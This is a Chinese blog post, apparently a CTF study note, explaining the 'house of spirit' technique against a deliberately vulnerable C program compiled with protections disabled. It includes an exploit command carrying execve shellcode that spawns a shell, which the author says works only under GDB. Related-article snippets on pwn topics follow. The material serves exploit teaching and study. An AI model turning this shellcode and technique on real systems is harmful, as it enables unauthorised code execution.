【溢出利用技巧】house of spirit friendly stack overflow

学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。

样例代码如下:

/*
 * blackngel‘s vulnerable program slightly modified by gb_master
 */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void fvuln(char *str1, int age)
{
  char *ptr1, name[32];
  int local_age;
  char *ptr2;

  local_age = age;

  ptr1 = (char *) malloc(256);
  printf("\nPTR1 = [ %p ]", ptr1);
  strcpy(name, str1);
  printf("\nPTR1 = [ %p ]\n", ptr1);

  free(ptr1);

  ptr2 = (char *) malloc(40);

  snprintf(ptr2, 40-1, "%s is %d years old", name, local_age);
  printf("\n%s\n", ptr2);
}

int main(int argc, char *argv[])
{
  int pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};

  if (argc == 3)
    fvuln(argv[1], atoi(argv[2]));

  return 0;
}

编译命令如下:

gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos

Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:

sudo apt-get install libc6-dev-i386

这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。

局部变量的内存分布如下:

0xffffd03c     name
0xffffd05c     ptr2
0xffffd060     ptr1
0xffffd064     local_age

样例测试命令如下:

./hos `python -c ‘import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")‘` 48

这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:

时间: 2024-07-31 12:15:56

【溢出利用技巧】house of spirit friendly stack overflow的相关文章

2014-hack-lu-oreo 对技巧house of spirit

目录 常规检查 逆向分析 Add 函数 Show 函数 Order 函数 Leave 函数 show 函数 利用思路 利用过程 泄露 libc 基址 伪造区块到 0x804a2a0 覆盖 got 表为 system 拿shell exp脚本 成功 get shell 内容来源 常规检查 ??没有开启 RELRO ,意味我们可以修改 got 表地址. 逆向分析 What would you like to do? 1. Add new rifle 2. Show added rifles 3. O

windows堆栈溢出利用的七种方式

文本由 www.169it.com 搜集整理 windows下的堆栈溢出攻击和unix下的,原理基本相同.但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大.另外,windows的版本也导致了windows下的exploit不具有通用性.windows版本不同,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的.不同的dll版本,里面的库函数的偏移地址就可

Pwn_5 Stack Overflow

Buffer Overflow 因为程序本身没有正确检查输入数据的大小,造成攻击者可以输入比buffer还要大的数据,使得超出部分覆盖程序的其他部分,影响程序执行. Stack Overflow 利用方式简单,可以直接覆盖return address和控制参数 Vunlnerable Function gets scanf strcpy sprintf memcpy strcat Return to Text 控制程序的返回地址到原本程序中的函数(代码) 例如有类似的function,就可以直接

Stack overflow

Stack overflow - code c00000fd 当 stack 低地址溢出要注意: 通过捕获异常代码为 EXCEPTION_STACK_OVERFLOW 的异常. 要明确这时候 stack 出了问题, 也就是说使用 stack 的任何操作都可能挂掉 比如 printf() 等.如果要输出相对可以接受的是使用 OutputDebugString 打印 const 的字符串, 因为 const 的字符串不涉及到 stack 相对来说, 可以用. 这时如果让程序彻底崩掉就崩掉吧. 如果不

转:Stack Overflow通过关注性能,实现单块应用架构的扩展能力

原文来自于:http://www.infoq.com/cn/news/2015/07/scaling-stack-overflow 在New York QCon 2015大会上,David Fullerton 深入解析了如何使用C#/ MS SQL支撑Stack Overflow网站的单块应用架构,这个网站每月处理40多亿的用户请求.Fullerton 认为,关注性能就可以几乎免费地使网站具备应付高并发的扩展能力:同时,通过减少对外部服务的调用,SOA开销(SOA tax) 得以避免. Full

【转】Stack Overflow研发副总裁:.NET技术并不差,合适自己就好

整个网站架构有很好的并发处理能力.我们每月处理40亿次请求,峰值为每秒3000次,每天有8亿次SQL查询,峰值为每秒8500次.https://www.sdk.cn/news/2378 摘要:在QCon纽约大会上, Stack Exchange的工程部副总裁David Fullerton深入解析了如何使用C#.MS SQL等技术支撑Stack Overflow网站的单块应用架构,这个网站每月约有40亿的用户请求. 在QCon纽约大会上, Stack Exchange的工程部副总裁David Fu

log4j-over-slf4j与slf4j-log4j12共存stack overflow异常分析

注:下文中的"桥接"."转调"."绑定"等词基本都是同一个概念. log4j-over-slf4j和slf4j-log4j12是跟java日志系统相关的两个jar包,当它们同时出现在classpath下时,就可能会引起堆栈溢出异常.异常信息大致如下(摘自slf4j官网文档Detected both log4j-over-slf4j.jar AND slf4j-log4j12.jar on the class path, preempting St

Stack Overflow创始人分享:如何促使团队紧密协作

会议是浪费工作时间的最佳去处 今天你开了多少个会?这个星期呢?这个月呢?再自问一下,那些会议中有多少是值得参加的?如果把相同的时间用在工作上,你又能完成多少事情?我们究竟为什么要开会? 尽管有些会议是不可避免的,甚至是必需的.我们应该以怀疑的态度去看待会议,把它当成是一种降低工作效率的风险.事实上,会议往往只是在浪费宝贵的工作时间.就我而言,我采用以下几个原则,以确保我的会议是真正有用的. 会议绝不该超过一小时,否则应判以死刑 对于任何会议,第一个并且最重要的约束就是时间,因为它在任何公司都是最

为什么程序员一定要会用Google和Stack Overflow?

作为程序员,用Google比用百度更节省时间,此话不假. 在法国工作也有4年了,加上之前的两个6个月的实习,勉强算"5年"工作经历吧- 虽说我离编程大牛还相距甚远,但是: 这些年编程的一个很深的感触就是:95%的问题都可以在Google和Stack Overflow找到答案. 真的能达到95%吗?达不到怎么办呢? 我觉得很多时候不是Google或Stack Overflow的问题,而是不少朋友不太懂得如何快速有效地搜索到有用的信息,可以参看下面这篇知乎的帖子: 如何用好谷歌等搜索引擎?